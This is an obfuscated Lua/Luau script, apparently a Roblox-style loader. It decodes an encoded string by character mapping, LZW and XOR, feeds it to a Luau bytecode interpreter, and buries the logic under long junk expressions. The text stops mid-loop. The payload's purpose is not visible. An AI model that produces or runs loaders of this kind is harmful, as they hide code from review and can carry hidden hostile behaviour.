_=[==[BREWIAN|𡿃𡿒𡿃𡿔𡿄𡿉𡿇𡿄𡿉𡿈𡿃𡿔𡿃𡿕𡿄𡿉𡿉𡿄𡿉𡿌𡿃𡿔𡿄𡿈𡿌𡿄𡿃𡿋𡿃𡿓𡿄𡿉𡿈𡿄𡿃𡿢𡿃𡿜𡿄𡿈𡿌𡿄𡿈𡿗𡿄𡿈𡿙𡿃𡿜𡿄𡿉𡿇𡿄𡿃𡿣𡿃𡿄𡿄𡿉𡿇𡿄𡿈𡿅𡿄𡿉𡿛𡿃𡿔𡿄𡿃𡿣𡿄𡿉𡿘𡿃𡿔𡿄𡿇𡿢𡿄𡿉𡿡𡿄𡿉𡿌𡿄𡿉𡿆𡿄𡿉𡿇𡿃𡿕𡿃𡿙𡿄𡿉𡿈𡿄𡿄𡿜𡿄𡿄𡿚𡿄𡿅𡿑𡿄𡿅𡿒𡿄𡿄𡿠𡿃𡿕𡿃𡿠𡿄𡿉𡿈𡿄𡿄𡿔𡿄𡿅𡿍𡿄𡿅𡿔𡿄𡿅𡿔𡿄𡿅𡿓𡿄𡿃𡿐𡿄𡿃𡿣𡿄𡿅𡿓𡿄𡿄𡿚𡿄𡿅𡿔𡿄𡿅𡿌𡿄𡿃𡿑𡿃𡿘𡿄𡿉𡿒𡿄𡿉𡿔𡿄𡿈𡿗𡿄𡿇𡿛𡿄𡿉𡿡𡿄𡿃𡿞𡿃𡿄𡿄𡿉𡿕𡿄𡿈𡿙𡿄𡿉𡿞𡿄𡿉𡿚𡿄𡿉𡿛𡿄𡿈𡿒𡿄𡿊𡿥𡿄𡿉𡿡𡿄𡿉𡿣𡿄𡿉𡿈𡿃𡿞𡿄𡿉𡿈𡿃𡿕𡿃𡿟𡿄𡿉𡿈𡿄𡿅𡿆𡿄𡿃𡿐𡿄𡿅𡿑𡿄𡿄𡿛𡿄𡿃𡿐𡿄𡿅𡿍𡿄𡿄𡿝𡿄𡿄𡿡𡿄𡿅𡿉𡿄𡿅𡿔𡿄𡿃𡿐𡿄𡿄𡿠𡿄𡿊𡿓𡿄𡿅𡿉𡿄𡿉𡿍𡿄𡿉𡿎𡿄𡿃𡿋𡿄𡿋𡿜𡿃𡿐𡿄𡿄𡿌𡿄𡿋𡿜𡿃𡿔𡿄𡿋𡿡𡿄𡿉𡿍𡿄𡿃𡿔𡿄𡿄𡿌𡿃𡿕𡿄𡿊𡿛𡿄𡿉𡿇𡿄𡿊𡿒𡿄𡿅𡿔𡿄𡿄𡿛𡿄𡿋𡿜𡿃𡿈𡿄𡿋𡿤𡿄𡿉𡿌𡿄𡿃𡿎𡿄𡿌𡿌𡿄𡿉𡿉𡿄𡿃𡿐𡿄𡿌𡿃𡿄𡿊𡿅𡿄𡿉𡿇𡿄𡿊𡿇𡿄𡿊𡿉𡿄𡿄𡿠𡿄𡿋𡿜𡿃𡿌𡿄𡿌𡿏𡿄𡿋𡿢𡿄𡿉𡿉𡿃𡿜𡿄𡿌𡿚𡿄𡿉𡿇𡿃𡿄𡿄𡿄𡿌𡿄𡿌𡿌𡿄𡿃𡿢𡿄𡿊𡿢𡿄𡿉𡿖𡿄𡿉𡿞𡿄𡿃𡿟𡿄𡿃𡿘𡿄𡿉𡿇𡿄𡿇𡿞𡿄𡿍𡿄𡿃𡿔𡿄𡿃𡿤𡿄𡿇𡿘𡿄𡿆𡿅𡿃𡿔𡿄𡿇𡿓𡿄𡿇𡿘𡿃𡿕𡿄𡿆𡿄𡿄𡿃𡿥𡿄𡿇𡿐𡿄𡿈𡿍𡿄𡿈𡿗𡿄𡿇𡿤𡿄𡿇𡿐𡿄𡿍𡿏𡿄𡿅𡿔𡿄𡿉𡿞𡿄𡿇𡿗𡿄𡿉𡿛𡿄𡿍𡿐𡿄𡿊𡿝𡿄𡿇𡿤𡿄𡿉𡿘𡿄𡿆𡿄𡿄𡿃𡿢𡿄𡿃𡿈𡿄𡿊𡿣𡿄𡿃𡿈𡿄𡿉𡿇𡿄𡿃𡿞𡿄𡿊𡿝𡿄𡿇𡿐𡿄𡿉𡿡𡿄𡿄𡿜𡿄𡿉𡿡𡿄𡿈𡿂𡿄𡿍𡿟𡿄𡿃𡿥𡿄𡿉𡿈𡿄𡿇𡿤𡿄𡿉𡿇𡿄𡿍𡿐𡿄𡿌𡿤𡿄𡿇𡿤𡿄𡿍𡿛𡿄𡿃𡿢𡿄𡿄𡿌𡿄𡿊𡿣𡿄𡿋𡿤𡿄𡿄𡿗𡿄𡿉𡿡𡿄𡿈𡿇𡿄𡿉𡿡𡿄𡿎𡿖𡿄𡿉𡿛𡿄𡿈𡿓𡿄𡿉𡿡𡿄𡿄𡿔𡿄𡿎𡿇𡿄𡿎𡿉𡿄𡿎𡿋𡿄𡿎𡿍𡿄𡿃𡿥𡿄𡿄𡿤𡿄𡿉𡿕𡿄𡿇𡿤𡿄𡿄𡿤𡿃𡿔𡿄𡿍𡿠𡿄𡿄𡿄𡿄𡿊𡿣𡿄𡿄𡿄𡿄𡿉𡿇𡿄𡿄𡿖𡿄𡿌𡿤𡿄𡿊𡿤𡿄𡿉𡿇𡿄𡿄𡿒𡿄𡿃𡿘𡿄𡿊𡿣𡿄𡿍𡿇𡿄𡿄𡿞𡿄𡿏𡿋𡿄𡿉𡿞𡿄𡿄𡿙𡿄𡿄𡿔𡿄𡿉𡿕𡿄𡿇𡿝𡿄𡿄𡿔𡿄𡿏𡿄𡿄𡿅𡿃𡿄𡿄𡿔𡿄𡿋𡿡𡿄𡿇𡿎𡿄𡿏𡿙𡿃𡿔𡿄𡿅𡿄𡿃𡿜𡿄𡿇𡿠𡿄𡿍𡿌𡿄𡿎𡿠𡿄𡿉𡿇𡿄𡿎𡿌𡿄𡿏𡿄𡿄𡿃𡿥𡿄𡿎𡿏𡿄𡿍𡿛𡿄𡿅𡿂𡿄𡿃𡿠𡿄𡿉𡿕𡿄𡿇𡿛𡿄𡿃𡿠𡿄𡿉𡿇𡿄𡿄𡿢𡿃𡿤𡿄𡿊𡿣𡿃𡿤𡿄𡿉𡿇𡿄𡿅𡿃𡿃𡿄𡿄𡿋𡿃𡿄𡿉𡿞𡿄𡿐𡿈𡿄𡿐𡿊𡿄𡿐𡿌𡿃𡿔𡿄𡿄𡿣𡿄𡿏𡿟𡿄𡿈𡿇𡿄𡿏𡿟𡿄𡿐𡿓𡿄𡿐𡿕𡿄𡿉𡿇𡿄𡿄𡿙𡿄𡿆𡿤𡿄𡿈𡿗𡿄𡿈𡿗𡿄𡿈𡿉𡿄𡿐𡿣𡿄𡿅𡿃𡿄𡿄𡿄𡿄𡿍𡿇𡿄𡿇𡿗𡿄𡿍𡿄𡿄𡿍𡿐𡿄𡿃𡿐𡿄𡿎𡿥𡿄𡿃𡿐𡿄𡿏𡿄𡿄𡿃𡿢𡿄𡿏𡿖𡿄𡿉𡿖𡿄𡿏𡿟𡿄𡿄𡿖𡿄𡿐𡿉𡿄𡿊𡿞𡿄𡿐𡿙𡿄𡿄𡿓𡿄𡿉𡿞𡿄𡿈𡿇𡿄𡿉𡿞𡿄𡿄𡿓𡿄𡿉𡿡𡿄𡿇𡿏𡿄𡿎𡿙𡿃𡿔𡿄𡿉𡿛𡿄𡿇𡿙𡿄𡿉𡿈𡿄𡿅𡿈𡿄𡿐𡿑𡿃𡿔𡿄𡿇𡿗𡿄𡿐𡿑𡿄𡿍𡿐𡿄𡿏𡿏𡿄𡿍𡿔𡿄𡿑𡿈𡿄𡿃𡿢𡿄𡿄𡿜𡿄𡿊𡿣𡿄𡿄𡿜𡿄𡿉𡿇𡿄𡿄𡿐𡿃𡿌𡿄𡿐𡿑𡿄𡿇𡿟𡿃𡿌𡿄𡿐𡿄𡿄𡿐𡿆𡿄𡿏𡿄𡿄𡿑𡿒𡿄𡿐𡿘𡿄𡿏𡿍𡿄𡿊𡿝𡿄𡿉𡿗𡿄𡿉𡿇𡿄𡿄𡿗𡿄𡿐𡿔𡿃𡿔𡿄𡿋𡿄𡿄𡿉𡿇𡿄𡿄𡿤𡿄𡿎𡿟𡿄𡿐𡿄𡿄𡿎𡿡𡿄𡿐𡿄𡿄𡿍𡿝𡿄𡿍𡿟𡿄𡿃𡿢𡿃𡿌𡿄𡿊𡿣𡿄𡿒𡿐𡿃𡿔𡿄𡿄𡿆𡿄𡿉𡿎𡿄𡿈𡿗𡿄𡿇𡿐𡿄𡿉𡿈𡿄𡿄𡿈𡿄𡿍𡿙𡿄𡿍𡿛𡿄𡿃𡿥𡿄𡿒𡿤𡿄𡿑𡿍𡿄𡿑𡿊𡿄𡿉𡿖𡿄𡿑𡿌𡿃𡿔𡿄𡿄𡿂𡿄𡿏𡿓𡿄𡿒𡿋𡿄𡿒𡿠𡿄𡿍𡿐𡿄𡿒𡿢𡿄𡿒𡿃𡿄𡿈𡿖𡿄𡿒𡿅𡿄𡿈𡿖𡿄𡿅𡿃𡿄𡿃𡿢𡿄𡿅𡿐𡿄𡿊𡿣𡿄𡿅𡿐𡿄𡿉𡿇𡿄𡿄𡿎𡿄𡿓𡿒𡿄𡿈𡿙𡿄𡿓𡿔𡿄𡿐𡿅𡿄𡿓𡿝𡿄𡿎𡿐𡿄𡿓𡿟𡿄𡿉𡿠𡿄𡿉𡿇𡿄𡿋𡿇𡿄𡿉𡿇]==]local E=_:gsub("....",{["𡿂"]="0";["𡿃"]="1";["𡿄"]="2";["𡿅"]="3";["𡿆"]="4";["𡿇"]="5";["𡿈"]="6";["𡿉"]="7";["𡿊"]="8";["𡿋"]="9";["𡿌"]="a";["𡿍"]="B";["𡿎"]="C";["𡿏"]="d";["𡿐"]="e";["𡿑"]="F";["𡿒"]="g";["𡿓"]="H";["𡿔"]="I";["𡿕"]="j";["𡿖"]="k";["𡿗"]="l";["𡿘"]="M";["𡿙"]="N";["𡿚"]="O";["𡿛"]="P";["𡿜"]="q";["𡿝"]="r";["𡿞"]="S";["𡿟"]="T";["𡿠"]="U";["𡿡"]="v";["𡿢"]="W";["𡿣"]="x";["𡿤"]="Y";["𡿥"]="Z";}):gsub('BREWIAN|','',1)local function w(f)local n,o,t="","",{}local l=256;local e={}for _=0,l-1 do e[_]=i(_)end;local _=1;local function a()local n=r(d(f,_,_),36)_=_+1;local o=r(d(f,_,_+n-1),36)_=_+n;return o end;n=i(a())t[1]=n;while _<#f do local _=a()if e[_]then o=e[_]else o=n..d(n,1,1)end;e[l]=n..d(o,1,1)t[#t+1],n,l=o,o,l+1 end;return u(t)end;local a=w(E);local _=string.unpack local _=table.pack local _=table.create local _=table.move local _=coroutine.create local _=coroutine.yield local _=coroutine.resume local _=tonumber local _=pcall local function _()return{slist={},plist={},}end local function _()return{code={},k={},protos={},}end local _={{'NOP',0},{'BREAK',0},{'LOADNIL',1},{'LOADB',3},{'LOADN',4},{'LOADK',4},{'MOVE',2},{'GETGLOBAL',1,true},{'SETGLOBAL',1,true},{'GETUPVAL',2},{'SETUPVAL',2},{'CLOSEUPVALS',1},{'GETIMPORT',4,true},{'GETTABLE',3},{'SETTABLE',3},{'GETTABLEKS',3,true},{'SETTABLEKS',3,true},{'GETTABLEN',3},{'SETTABLEN',3},{'NEWCLOSURE',4},{'NAMECALL',3,true},{'CALL',3},{'RETURN',2},{'JUMP',4},{'JUMPBACK',4},{'JUMPIF',4},{'JUMPIFNOT',4},{'JUMPIFEQ',4,true},{'JUMPIFLE',4,true},{'JUMPIFLT',4,true},{'JUMPIFNOTEQ',4,true},{'JUMPIFNOTLE',4,true},{'JUMPIFNOTLT',4,true},{'ADD',3},{'SUB',3},{'MUL',3},{'DIV',3},{'MOD',3},{'POW',3},{'ADDK',3},{'SUBK',3},{'MULK',3},{'DIVK',3},{'MODK',3},{'POWK',3},{'AND',3},{'OR',3},{'ANDK',3},{'ORK',3},{'CONCAT',3},{'NOT',2},{'MINUS',2},{'LENGTH',2},{'NEWTABLE',2,true},{'DUPTABLE',4},{'SETLIST',3,true},{'FORNPREP',4},{'FORNLOOP',4},{'FORGLOOP',4,true},{'FORGPREP_INEXT',4},{'LOP_DEP_FORGLOOP_INEXT',0},{'FORGPREP_NEXT',4},{'LOP_DEP_FORGLOOP_NEXT',0},{'GETVARARGS',2},{'DUPCLOSURE',4},{'PREPVARARGS',1},{'LOADKX',1,true},{'JUMPX',5},{'FASTCALL',3},{'COVERAGE',5},{'CAPTURE',2},{'LOP_DEP_JUMPIFEQK',0},{'LOP_DEP_JUMPIFNOTEQK',0},{'FASTCALL1',3},{'FASTCALL2',3,true},{'FASTCALL2K',3,true},{'FORGPREP',4},{'JUMPXEQKNIL',4,true},{'JUMPXEQKB',4,true},{'JUMPXEQKN',4,true},{'JUMPXEQKS',4,true},}local t=bit and bit.bxor or function(_,n)local o,e=1,0 while _>0 and n>0 do local d,t=_%2,n%2 if d~=t then e=e+o end _,n,o=(_-d)/2,(n-t)/2,o*2 end if _<n then _=n end while _>0 do local n=_%2 if n>0 then e=e+o end _,o=(_-n)/2,o*2 end return e end local function n(n,_,o)if o then local _=(n/2^(_-1))%2^((o-1)-(_-1)+1);return _-_%1;else local _=2^(_-1);return(n%(_+_)>=_)and 1 or 0;end;end;local o=1;local function e()local d,n,e,_=f(a,o,o+3);d=t(d,18)n=t(n,18)e=t(e,18)_=t(_,18)o=o+4;return(_*16777216)+(e*65536)+(n*256)+d;end;local function r()local _=t(f(a,o,o),18);o=o+1;return _;end;local function E()local _=e();local o=e();local t=1;local e=(n(o,1,20)*(2^32))+_;local _=n(o,21,31);local n=((-1)^n(o,32));if(_==0)then if(e==0)then return n*0;else _=1;t=0;end;elseif(_==2047)then return(e==0)and(n*(1/0))or(n*(0/0));end;return O(n,_-1023)*(t+(e/(2^52)));end;do local function _(...)if((#(not _))()-((-(not _)))()/(-_)/((-#(not(function(o,o,o,n,...)return(((not _)).____________)(),(((-#n)).____________)(),((-#(not _))).____________;end)))).____________<=(_)()<(not((not _)).____________+(#(not _))()+(-#(not _))>(#_)())/#(not _)or _^(#_)()>(((not _)).____________)()^((-_))()or(((-_)).____________)())then local function n(...)local function n(...)end;local n=((-{[((_).____________)]=(((-#(not _))).____________)();[(((-#_))())]=(#(not _)).____________;}))();if(((not n))()or((-(not _))).____________<=((-_))()or((-(not _)))()==(#(not _)).____________<(-_)%(-#_)>=#(not _))then end;end;local function n(...)if(#(not _)and((-#_)+_/((#(not _)).____________)()^((-(not _))).____________)()^((#(not _)).____________)()^((-#(not _)))()and(#_)()<(((-_)).____________)()+((-(not _)))()or((-(not _)))())then end;local _=((-_)).____________;end;while(((_).____________)()-(-n)<((-(not(function(n,n,n,...)return(-_),((-#_)).____________,((-#(not _)))(),((-#_)).____________,#(not _),(not _),(((-_)).____________)();end)))).____________>=(((-#(not(#_)()%((-#(not _)))()/#(not n)-(not _)))).____________)()<=(((-_)).____________)()or(-_)or((-_))()>(-(not _))or(#_)()<(-#(not _)))do while(((-(not _)))()>(#_).____________<((-#_))()+(-(not _))or((-#(not _)))()+(-(not _))>((-#_)).____________ or _)do end;if((((not{[(((-#_)).____________)]=(-#_);[((((-#(not _))).____________)())]=(-(not _));((#_).____________)();})).____________)()or((-_)).____________-(#_)()or((-#(not _)))()or(-#_)-(-(not _))%(-_)/(((-#(not _))).____________)())then end;end;end;local _=(_).____________-((-#(not _)))()==(((-(not _))).____________)()>(#(not(function(n,...)return _,((-#(not _)))();end)))()>=(((-(not _))).____________)()/(((-_)).____________)()and(((-#(not _))).____________)()>(-(not _))or(-_)<=(-#_)==(((not _)).____________)()>=(-#(not _));end;end;local _=e;local function w(e)local l;c=''if(not e)then e=_();if(e==0)then e=e..''..c:gsub(1,325)return'';end;end;do local function _(...)for n=((-_))()%(-#(function(n,n,n,n,n,...)return(-#(not _)),((-#(function(n,n,n,n,n,n,n,n,...)return((-_)).____________,(-_),((not _)).____________,(-#_),((_).____________)(),((not _))(),((-#(not _))).____________,(((-_)).____________)();end))).____________;end))/((-#_)).____________ or((-(not _)))()and(((not _)).____________)()*(#(not{[((((-(not _))).____________)())]=((#_).____________)();((not _)).____________;((-_))();((not _))();[(((-#_))())]=(#(not _))();})).____________>((-#(not _))).____________<(-_)+(not _)<((-#(not ____________)))()%((not _)).____________<(((-_)).____________)(),(#(not ____________)).____________ or(-(not{[(((not _)).____________)]=(#_)();[(_)]=(((-(not _))).____________)();[((#(not{(#(not _)).____________;_;[(((_).____________)())]=(((not _)).____________)();})).____________)]=((not((-#(not _))).____________<=((-_))()<(((-#(not _))).____________)()%((#(not _)).____________)())).____________;}))>=(((-(not{}))).____________)()/(#(not _))()or((not _)).____________/((#_).____________)()+((-#(not _))).____________/(((-(not _))).____________)()-((#_).____________)()+(-(not _))+(#(not _))()or((-_))(),((-#____________))()or(-(not ____________))<=(#____________)()>((-#(not{(_)();[(((#_).____________)())]=((_).____________)();[((-#(not _)))]=((-(not _))).____________;((-(not _)))();})))()<=#_^(not _)<=((-#_)).____________>((-_)).____________<=(((-#_)).____________)()<((-#_)).____________<(((-_)).____________)()/(#(not _))()do for n=((#(not _)).____________)()%(#(function(n,n,n,n,n,n,n,n,...)return((_).____________)(),((-(not _))).____________,((-(not _))).____________,(-#_),(_).____________,(((-(not _))).____________)();end)).____________%((not _))()^((#_).____________)()>=(_).____________ and(_)()>=((-#_))()^((-#_)).____________==(-(not _))>=(((-#(not _))).____________)()and(((-#_)).____________)()or((#_).____________)()*((not n)).____________,((-#(not _)))()>=(((-{((#(not _)).____________)();[(((not _)).____________)]=(#_)();(-(not _));[((_).____________)]=(#_).____________;(((-#(not _))).____________)();((-(not _))).____________;})).____________)()^(((-n)).____________)()+((not _)).____________>_^((_).____________)()%((-#(not _))).____________<((-#_)).____________*((-(not n))).____________+(#(not _))(),((-(not(function(o,n,...)return(-#(not n)),((-(not n))).____________,(-#(not _)),(not _);end)))).____________ or((not _))()<((-(not _))).____________-((-(not{[(((#(not _)).____________)())]=(((-#_)).____________)();(-(not _));(#(not _))();(-#_);[(((-#(not _))).____________)]=#n;}))).____________-(((not _)).____________)()+((-#(not _))).____________>((not _))()>((-(not _)))()and((-(not _))).____________ or((-_)).____________ do if(((-#(not _)))()<((-_))()+((not _)).____________^((-(not _))).____________ and((-(not _)))()<=((-_))()or(#_).____________<=((-#_)).____________)then end;local function n(...)end;local _=((#(not _)).____________)();end;while(((-(not _)))()+(-(not _))and(((-#_)).____________)()==#_>=(#(not _)).____________/(_).____________>((-_))()==(#_).____________>=(#_)()>#(not _))do for _=((not _))()>=((-#_))()/(#_).____________^((-#(not _)))()/((-#_)).____________/(((-#(not _))).____________)()>=((#(not _)).____________)()+((-#_)).____________,(((-(not#_^((#_).____________)()+((#(not _)).____________)()<((#(not _)).____________)()))).____________)()%(_).____________ and((-(not _)))()^(((not _)).____________)()%((-_))()and(_).____________<((-_))()%((-#(not _)))(),(#(not _))()==((-#_)).____________>=((_).____________)()^(((-#_)).____________)()>=((not _))()and(_).____________<(((-#(not _))).____________)()>(-#_)do end;while(({[(((-(not _))).____________)]=(_)();}).____________%((#(not{[((-#_))]=#_;((-#_))();((-_)).____________;})).____________)()-((-_))()and#(not _)and((#(not _)).____________)()+(((-#_)).____________)()<=(#_).____________%((-_))())do end;while((-#_)+((-#(not _)))()<=(#_)()>((#_).____________)()>=(((-#_)).____________)()<(-_)<((not n))()>=((-(not n))).____________)do end;end;for n=(#(not(-#(not _))-(-(not _))<=((not _))()>#(not _)or((-#_)).____________==(#_).____________)).____________%(#_).____________>(not{[((((-#_)).____________)())]=((_).____________)();[((_).____________)]=(not _);[((((-(not _))).____________)())]=((-#_)).____________;((-#n)).____________;})<=((-(function(o,o,o,o,o,n,...)return((-_)).____________,(-#n),((not _)).____________,((-#(not _)))(),(((-_)).____________)(),(_)(),(#_).____________;end)))()and(#(not _)).____________-#(not _)<=(-(not _))*(#_).____________/((#_).____________)()/(_)(),(-(not _))or((-_)).____________-({(((-_)).____________)();[((-#(not _)))]=((-(not _)))();}).____________^((not _)).____________<=((-#(not _)))()<(((-(not _))).____________)()>=_==(not _)*(_).____________%((-(not _)))(),((not _))()or((not _))()*(((-#(not{[((((-n)).____________)())]=((#n).____________)();[(#_)]=_;[(((#(not _)).____________)())]=(_).____________;[(((-(not _))).____________)]=((-#(not _)))();(((not _)).____________)();((#_).____________)();}))).____________)()^((-#(not n)))()<((not _))()<=(((not n)).____________)()<((#(not _)).____________)()and((-_)).____________==(#_).____________ and((-#(not n)))()do if(#_-(#n)()and(_)()*((#_).____________)()and((-#_))()<(-#_)+((not n))()>=(-#_))then end;if((((-#_)).____________^((not _)).____________/((#_).____________)()/((-#(not _)))()).____________-((-#{(-#(not _));(((-_)).____________)();[((#_).____________)]=((-#(not _))).____________;((-#_)).____________;}))()>(#(not _)).____________==(-#(not _))/(((-(not _))).____________)()<(_).____________ or _/((-#_))())then end;local function _(...)end;end;local _=#(not n);end;while(((-(not _))).____________/((not _)).____________%((-#{(not _);[(((-#_)).____________)]=(((-(not _))).____________)();((-_))();(-(not _));[(((#(not ____________)).____________)())]=((-(not _))).____________;})).____________ or((#_).____________)()-(((-_)).____________)()+(-_)==((-#____________))()<=(not _)<(#(not _)).____________%(#_)()+((-(not _)))()%(((-_)).____________)())do for n=(((-#(not _))).____________)()^((-{(____________)();(#(not _))();((-#_))();[(((-#_))())]=(-#____________);[(_)]=((-#(not _)))();#(not _);})).____________+((-#_)).____________^(((-#(not _))).____________)()*((-(not _)))()^((#_).____________)()<=(((-_)).____________)()<(((-____________)).____________)()/((-#(not _)))()+(-_),((-#(((not _)).____________)()*((-#(not _)))()<____________-(((-#_)).____________)()%(_)()-((-_))()))()and(-(not((not _)).____________ and((-(not _)))()%(#_).____________<((-#(not _))).____________^_<(#(not _))()))and((-#_)).____________/((#(not ____________)).____________)()^(#(not _))()^#(not _)<=((-#_)).____________+_<=(-#(not _))and(((-#(not _))).____________)(),((#(((not _)).____________)()>((-#_)).____________>=((-#(not _)))()or(((not _)).____________)()/((_).____________)()<((-(not _)))()).____________)()%(((-(not _))).____________)()^(-#(not _))/((#(function(...)return(-(not _)),((-_))();end)).____________)()>=(_)()*(#_)()<=((_).____________)()>=((#_).____________)()>_>=____________ do local n=((#(not _)).____________)();local function n(...)end;if(((not(((-#_)).____________)()<=((-_)).____________>=(#(not _))()==(-#_)))()==(_).____________+(#(not _))()+(n).____________+((-#(not _))).____________*(_).____________<=(#_)()==_)then end;end;local n=((#((-_))()-(-_)or(not _)%((-_)).____________+((not _))()*(((-_)).____________)()-(#(not _))()*(#____________)()).____________)();while((#_).____________/(-#(#_).____________<=(((-#(not _))).____________)()<((-_))()and((-(not _)))()*(((-(not _))).____________)()/(not _))and(-#(not _))/(((-_)).____________)()*(-#(not _))-((-_)).____________+((-#_)).____________<((-(not _))).____________+(((not _)).____________)()*((#_).____________)())do local n=#(not _);while((-(not{(-_);((-#_)).____________;}))and(((not{(-(not _));(((not _)).____________)();})).____________)()^#(not _)or(#_)()-(-(not _))<#(not _)<=#(not _)>=((-(not _))).____________)do end;while((#(not _))()*(((not n)).____________)()%(((-(not _))).____________)()-(not _)>#_==(((-_)).____________)()<((-n)).____________ or((#(not _)).____________)())do end;end;local _=((-(not _)))();end;end;end;l=d(a,o,o+e-1);o=o+e;local o={}for _=1,#l do o[_]=i(t(f(d(l,_,_)),18))end do local function _(...)local function n(...)for n=((-(not _))).____________==((not _))()or((-(not _))).____________ or(#(not(function(n,n,n,...)return((#(not _)).____________)(),((not _)).____________,((-_))();end)))()*((-(not _)))()%(not _)and((_).____________)()<((-#_)).____________^((-#n))()>(#_)(),(-_)+((-(not{((_).____________)();(-(not _));(#(not n))();})))()+(((-#_)).____________)()>=((not _)).____________ and((-#_)).____________>_/(#_)()>#(not _)==((-#(not _)))()/((-_))(),(((-#(not _))).____________)()or _%(not _)*((-#_))()%((-#(not _))).____________%((#_).____________)()>_>=_%((#_).____________)()*(((-(not _))).____________)()do while((-#_)+((not _))()<(-#(not _))*((-#_)).____________>=((-#_)).____________-((-_))()<((not _))()/((not _))())do end;if((-#_)/((-#(function(o,o,o,o,o,o,n,...)return(_)(),((-_))(),(-#_),((n).____________)(),(_)();end)))()>=((#_).____________)()<=(#_).____________%(((-_)).____________)()<(((-_)).____________)()^(_).____________+((-#(not _))).____________)then end;end;for n=((-_)).____________+((not _)).____________ or(not(function(...)return(#(not _))(),((-#(not _))).____________,(((-(not _))).____________)(),(#_)();end))<(((-#n)).____________)()%((#(not _)).____________)()-#_%(((not _)).____________)()-((_).____________)()<=#(not _)>=((#n).____________)(),(-#_)^(((-_)).____________)()-#(function(n,n,n,n,n,n,n,n,...)return(#_)(),((-(not _)))();end)-#((not _)).____________>#_/(not _)%(((-#_)).____________)()<(#(not _)).____________*#(not _)^((-_)).____________==(-(not n))>((#(not _)).____________)()*(_).____________,((-n)).____________>=#{((-_))();(#_).____________;[((((-#(not _))).____________)())]=((not _)).____________;[((-_))]=(-#_);(not _);((-#(not _)))();(-(not _));}*((#_).____________)()and(-#n)-((-#(not _)))()/((_).____________)()-((-(not _))).____________<(((-#_)).____________)()and((-_)).____________/((-#(not _))).____________ do local function n(...)end;while(((-(function(n,n,n,n,n,n,...)return((not _)).____________;end))).____________ or(((function(n,n,n,n,n,n,...)return(#(not _)).____________,(#(not _)).____________,(-_),(((-#(not _))).____________)(),(_).____________;end)).____________)()+#_<=(-(not _))+#_>=(((-#_)).____________)()+((-#_))()+(#(not _))())do end;local function _(...)end;end;local function n(...)if(((-#(not{})))()+(#(not{[(((_).____________)())]=((-_)).____________;[(((not n)).____________)]=(-#(not _));}))()^(((not _)).____________)()*((#_).____________)()-#_<((#(not _)).____________)()or((-#_)).____________ and#_)then end;local function _(...)end;end;local function n(...)local n=(((-#(function(n,n,n,n,n,n,n,n,n,...)return(_)(),_;end))).____________)();local function n(...)end;for _=(((-#_)).____________)()+(#(not _))()^n>=((-#(not _)))()*(((-_)).____________)()and(_)()+(#_).____________>=(-_),(#_)()>(not _)-((-#_))()<((-#_)).____________+(#_).____________>#_-(((-_)).____________)()and(not _),(#(not _)).____________>(((not _)).____________)()<=(-#_)<=((-(not _)))()<=(-#_)or((-#_))()+((-#(not n))).____________+((-n)).____________ do end;end;end;for n=((-#n))()and(#{[((-_))]=(((-_)).____________)();[((#(not _)).____________)]=(#(not n)).____________;[(((-#(not n)))())]=((_).____________)();[(((-_)).____________)]=((-(function(...)return((#(not _)).____________)(),(#_)(),(-_),(#(not _)).____________,((-#_)).____________;end))).____________;[(((-#(not(-#_)*((-#_))()<(((-(not _))).____________)()*(#(not _)).____________))).____________)]=((-_)).____________;((-#(not _)))();[((((-_)).____________)())]=(((not(function(n,...)return((-_)).____________,(((-(not _))).____________)(),(_).____________,((-_))();end))).____________)();})()*((-#{(not _);((#_).____________)();[(((-_))())]=((_).____________)();}))()-((-#(not _)))()+((-_))()-(#{[((-#_))]=((not _))();[(((#(not _)).____________)())]=#(not _);[(((#(not _)).____________)())]=(((-#_)).____________)();(((-(not _))).____________)();((-#_)).____________;})()-(not _)-(#(not _)).____________ and((#(not _)).____________)()^(-#(not _))>=((-#(not _))).____________^(((-#_)).____________)(),(_)()^(_)()or(-(not(function(_,_,_,_,_,_,...)return;end)))/(not n)<((-{(not _);(#_)();})).____________>_ and(((-(not _))).____________)()>=(not _)<=((-(not _)))()-(((-#_)).____________)()==((-#_)).____________>((-#_))(),(((-#(not _))).____________)()+((_).____________)()and((not _))()/((not n))()%((-(not _)))()<=(-(not _))or((not _))()%((-(not n)))()-((not _))()-((-(not _)))()^(((-#(not n))).____________)()-(#_).____________ do while((#_).____________ or((-(not _))).____________%(_).____________^(not{((-#(not _))).____________;[(((-#_))())]=((not _))();[(((-#_))())]=#(not _);})%(((-(not _))).____________)()+(not _)<((-#_)).____________>(-_)and#(not _)*((#_).____________)())do while(((-(not _)))()==(#_).____________ or((not _)).____________%(-(not n))%(#(not _))()<=_<(#_)()-((-#(not _))).____________)do end;if(((#_).____________)()%(((not _)).____________)()/(((not _)).____________)()<((-#_)).____________/((-_)).____________==(-#(not _))/(((-#(not _))).____________)()+((_).____________)())then end;local _=((-#(function(n,n,n,n,n,n,n,n,...)return(#(not _)).____________,(((-(not _))).____________)(),(#(not _))(),(((-_)).____________)(),((_).____________)(),(not _);end)))();end;for n=_+(-(not(function(n,n,n,n,n,...)return _,#(not _),(-#_),(#_)();end)))==(-#(not _))and((-#(not _))).____________<=(((-(not _))).____________)()/((#(not _)).____________)()*((-#(not _)))()>(#_)()-(-(not _))<=(#_).____________,(-_)-(-(not _))or(#(not n))()%(((-(not _))).____________)()>=(_)()/(_).____________>(not n)==(((-(not _))).____________)()+(((-_)).____________)()*((-_))(),((-#{(((-(not _))).____________)();((-#(not _)))();(((-#(not _))).____________)();[((#(not _)).____________)]=(_).____________;}))()>=(((-{((#n).____________)();(n).____________;[((#(not _)).____________)]=((-#(not _)))();})).____________)()*(((-#_)).____________)()<=(((-(not(-_)==(-#_)^((not _)).____________+((#(not _)).____________)()))).____________)()-(not n)^(((-#_)).____________)()/(#_)()+(-_)<(#_).____________/#_ do if((#(not{((_).____________)();[((((not _)).____________)())]=(((-(not _))).____________)();[((not _))]=(-(not _));_;((-#(not _)))();}))()==(#_)()-((-_))()/(-#_)%(-#(not n))or(((not _)).____________)()or((-(not _)))()+((-_)).____________)then end;if((((not _)).____________)()and((_).____________)()>((_).____________)()*(((-#(not _))).____________)()/(((-(not _))).____________)()<=((-_))()==((n).____________)()%(((-#_)).____________)())then end;end;while((_)()<(((not _)).____________)()%((-#(not{((-_)).____________;[((_).____________)]=((n).____________)();((_).____________)();[(((-#(not _))).____________)]=((-_))();(_).____________;(-_);})))()-((-n)).____________<(((-#(not _))).____________)()%(#(not _))()-_/#(not _)^((-#_)).____________^#(not _))do 